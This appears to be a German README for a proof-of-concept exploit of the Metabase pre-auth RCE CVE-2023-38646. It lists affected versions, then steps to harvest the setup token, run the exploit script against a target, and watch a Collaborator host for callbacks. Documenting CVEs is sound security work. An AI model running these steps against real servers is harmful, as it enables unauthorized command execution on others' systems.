CVE-2023-38646 – Metabase Pre-auth RCE

Metabase Open Source vor 0.46.6.1 und Metabase Enterprise vor 1.46.6.1 erlauben Angreifern, beliebige Befehle auf dem Server mit den Berechtigungen des Servers auszuführen. Für die Ausnutzung ist keine Authentifizierung erforderlich. Die weiteren behobenen Versionen sind 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 und 1.43.7.2.

PoC-Schritte

1. Navigieren Sie zu http://vulnerablehost.com/api/session/properties

2. Ermitteln Sie "setup-token"

3. Besorgen Sie eine Collaborator-URL (getestet mit BurpSuite)

4. Führen Sie das PoC-Skript aus mit:

• -u – Ziel-URL
• -t – Setup-Token
• -c – Collaborator-URL
• python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>

5. Überprüfen Sie Ihren Collaborator auf Callbacks

Referenzen

• https://www.metabase.com/blog/security-advisory
• https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
• https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/